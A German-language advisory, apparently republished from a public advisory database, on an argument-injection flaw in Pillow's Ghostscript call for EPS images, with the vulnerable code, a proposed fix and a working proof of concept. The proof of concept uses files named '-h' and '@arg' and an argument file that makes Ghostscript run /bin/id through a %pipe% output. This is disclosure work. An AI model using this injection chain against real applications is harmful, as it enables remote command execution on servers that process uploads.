Kritisch

Pillow: Argument-Injection beim Ghostscript-Aufruf mit möglichem RCE-Risiko

  • Veröffentlicht: 21.10.2026
  • Aktualisiert: 22.10.2026 00:00

Zusammenfassung

PIL.EpsImagePlugin.Ghostscript() erstellt die Ghostscript-Befehlszeile unter Verwendung des Eingabedateipfads (fp.name) ohne Bereinigung und platziert ihn bei -f <infile>. Ein Dateiname, der mit - beginnt, wird von Ghostscript als Option interpretiert, was eine Argument-Injection über die Befehlszeile ermöglicht; dies lässt sich zu einer Remotecodeausführung (RCE) verketten (siehe Auswirkungen). Dies lässt sich mit dem Standardaufruf von Pillow (mit aktiviertem -dSAFER) reproduzieren.

Details

Typ

CWE-88 (Argument-Injection) (→ optional CWE-78 (OS-Befehlsinjektion), wenn eine Textdatei vom Angreifer kontrolliert wird)

Verwundbarer Code

python
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
    infile = fp.name                      # user-controlled path used as-is, without validation
else:
    in_fd, infile_temp = tempfile.mkstemp()
    os.close(in_fd)
    infile = infile_temp
    # ... (copy fp into a temporary file)

# Build Ghostscript command
command = [
    gs_binary,
    "-q",
    f"-g{width:d}x{height:d}",
    f"-r{res_x:f}x{res_y:f}",
    "-dBATCH",
    "-dNOPAUSE",
    "-dSAFER",                            # default sandbox — does NOT stop this injection
    f"-sDEVICE={device}",
    f"-sOutputFile={outfile}",
    "-c",
    f"{-bbox[0]} {-bbox[1]} translate",
    "-f",
    infile,                               # injected here: inserted into argv with no check for
                                          # option prefixes (-, --) or Ghostscript's @-file token
                                          # => argument injection (CWE-88)
    "-c",
    "showpage",
]
# ...
subprocess.check_call(command, startupinfo=startupinfo)   # spawns Ghostscript

Ursache

Beim Rendern eines EPS-Bildes konstruiert PIL.EpsImagePlugin.Ghostscript() die Ghostscript-Befehlszeile unter Verwendung des Pfads der Eingabedatei (fp.name) und platziert diesen direkt an der Position -f <infile> der Argumentliste. Dieser Pfad kann von Benutzern kontrolliert werden, dennoch führt Pillow keine Validierung oder Neutralisierung von Tokens durch, die Ghostscript beim Parsen von Befehlszeilenargumenten speziell behandelt — insbesondere ein vorangestelltes - oder -- (was Ghostscript als Option statt als Dateinamen interpretiert) und ein vorangestelltes @ (Ghostscripts Argumentdatei-Syntax, die bewirkt, dass zusätzliche Befehlszeilenargumente aus der angegebenen Datei gelesen werden). Da der Dateiname weder normalisiert (z. B. in einen absoluten Pfad umgewandelt oder mit ./ vorangestellt) noch vor der Übergabe an den Subprozess auf diese Präfixe geprüft wird, kann ein Angreifer, der den an Image.open() übergebenen Dateinamen kontrolliert, beliebige Ghostscript-Befehlszeilenargumente einschleusen. Dies ist eine klassische Schwachstelle durch Argument-Injection (CWE-88) und wird durch Pillows Standardeinstellung -dSAFER nicht entschärft.

Betroffen

  • Pillow: getestet auf 12.3.0 (aktuell); der verwundbare Code besteht seit langem und scheint alle aktuellen Versionen (einschließlich main) zu betreffen.
  • Komponente: src/PIL/EpsImagePlugin.py, Ghostscript() — infile = fp.name sowie der Befehlslisteneintrag "-f", infile.

Vorgeschlagener Fix

Normalisieren des Dateinamens zu einem absoluten Pfad, bevor er an Ghostscript übergeben wird, damit er niemals als Option (-/--) oder als Token für eine Argumentdatei (@) geparst werden kann:

python
    if hasattr(fp, "name") and os.path.exists(fp.name):
        infile = os.path.abspath(fp.name)   # was: infile = fp.name

os.path.abspath() stellt sicher, dass der Pfad mit einem Pfadtrennzeichen (oder unter Windows mit einem Laufwerksbuchstaben) beginnt, sodass ein vorangestelltes - oder @ den Argument-Parser von Ghostscript nicht mehr erreichen kann. Der Zweig else erstellt bereits einen sicheren tempfile.mkstemp()-Pfad und bedarf keiner Änderung.

PoC

Dockerfile, Standardausführung zeigt die Argument-Injection-Demo (poc.py); für den RCE-PoC python3 poc-rce.py ausführen.

FROM ubuntu:24.04

RUN apt update
RUN apt install -y --no-install-recommends python3 python3-venv ghostscript ca-certificates
RUN rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /venv && /venv/bin/pip install --upgrade pip Pillow==12.3.0
ENV PATH=/venv/bin:$PATH
WORKDIR /poc
COPY poc.py .
COPY poc-rce.py .
COPY arg .

CMD ["python3", "poc.py"]

poc.py

python
import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

name = "-h"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
try:
    im.load()
except Exception as e:
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("CWE-88: argument injection; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't display `help`")

poc-rce.py

python
import os
from PIL import Image

############################################################################################
# Attacker controlled file
############################################################################################

EPS = b"%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n%%EndComments\nshowpage\n"

# To chain this vulnerability into critical RCE, We need another arbitrary text file
# In this script, it is `arg`.
name = "@arg"
with open(name, "wb") as f:
    f.write(EPS)

############################################################################################

print(f"[*] Pillow opens a file whose name is {name!r}")
im = Image.open(name)
print(f"[*] call `load()`; this paths calls `gs` command with '-f {name}'")
print(f"[*] and this leads to arbitrary command injection.")
print(f"*********************************************")
try:
    im.load()
except Exception as e:
    print(f"*********************************************")
    print(f"[*] load() raised: {type(e).__name__}: {e}")

print("")
print("CWE-78: OS Command Injection;")
print("CWE-88: Argument Injection  ; Pillow code doesn't validate argument name")
print("        This poc.py shows the vulnerability clearly.")
print("        If Pillow checks the name of file before it uses, It won't call `id`")

arg

-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice

Auswirkungen

Bestätigt — Ghostscript-Argument-Injection. Da der Dateiname nicht validiert wird, wird ein vorangestelltes -/-- von Ghostscript als Option statt als Datei interpretiert. Ein Angreifer, der den an Image.open() übergebenen Dateinamen kontrolliert, kann daher ein Ghostscript-Befehlszeilenargument einschleusen. Die Injektion eines einzelnen Arguments ist stets erfolgreich.

Mögliche RCE (verifiziert). Der Dateiname wird zudem nicht gegen Ghostscripts @-Dateisyntax geprüft: Ein Dateiname der Form @<path> veranlasst Ghostscript dazu, zusätzliche Befehlszeilenargumente aus <path> einzulesen, wodurch mehrere Argumente gleichzeitig injiziert werden können. Hat der Angreifer zusätzlich die Kontrolle über die referenzierte Datei, kann dies zur Ausführung beliebiger Befehle eskaliert werden — eine Eskalation, die im PoC verifiziert wurde (Ausführung von id).

Trifft unter der Standardkonfiguration von Pillow (mit aktiviertem -dSAFER) auf Pillow 12.3.0 mit Ghostscript 10.02.1 zu. Mit denselben GS-Argumenten wurde eine RCE auch mit der neuesten GS-Version (10.07.1) bestätigt.

Warum dies ein Pillow-Fehler ist (und nicht das dokumentierte Risiko bezüglich nicht vertrauenswürdiger EPS-Dateien)

Dies ist nicht das in Pillows Sicherheitsrichtlinie beschriebene Risiko bösartiger EPS-Inhalte: Die Schwachstelle wird durch den Dateinamen ausgelöst, nicht durch den Inhalt des PostScript-Dokuments. Eine völlig harmlose EPS-Datei führt dennoch zu einer Ghostscript-Argument-Injection, wenn der an Image.open() übergebene Dateiname vom Angreifer beeinflusst werden kann. Anwendungen, die EPS legitim verarbeiten, bleiben daher betroffen — der Hinweis, nicht vertrauenswürdige EPS-Eingaben zu blockieren, deckt diesen Fall nicht ab. Da Pillow die Komponente ist, die die Ghostscript-Befehlszeile erstellt, liegt es in der Verantwortung von Pillow und nicht bei jedem nachgelagerten Aufrufer, sicherzustellen, dass ein Dateiname nicht als Option (-/--) oder Argumentdatei-Token (@) uminterpretiert werden kann. Die Voraussetzung — Angreiferkontrolle über einen Dateinamen, der Image.open() erreicht — ist realistisch (z. B. Datei-Upload-Endpunkte, die den gespeicherten Namen aus Benutzereingaben beibehalten oder ableiten), und die Verkettung mit dieser Schwachstelle führt in der Praxis zu RCE. Eine einzeilige Normalisierung (os.path.abspath(fp.name)) schließt die Lücke ohne Änderung der API-Nutzung.

Autor

Chanu Kang (von CysecLab am KAIST) @HLe4s

Was zu tun ist

Aktualisieren Sie das Paket pillow auf Version 13.0.0 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) pillow >= 2.6.0, < 13.0.0 13.0.0

Verweise

CVSS-Wert -
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Schwäche (CWE)
CWE-78, CWE-88
Plattform
Python (PyPI)
Paket
pillow
Veröffentlicht
21.10.2026
Aktualisiert
22.10.2026 00:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-w889-685w-c8fh - CC BY 4.0

Schwachstellenhistorie: pillow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (89) im Archiv
Einträge insgesamt
89
Erste → letzte
04.2014 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Kritisch 12
  • Hoch 57
  • Mittel 18
  • Niedrig 1
  • Nicht bewertet 1

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 31

früher: 12

Schweregrad:
  1. Hoch CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  2. Pillow: Argument-Injection beim Ghostscript-Aufruf mit möglichem RCE-Risiko dieser Eintrag
    Kritisch CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  3. Kritisch CVE-2026-112403 < 13.0.0 13.0.0
  4. Hoch · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  5. Hoch CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
Mehr anzeigen (20) 20 von 69 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.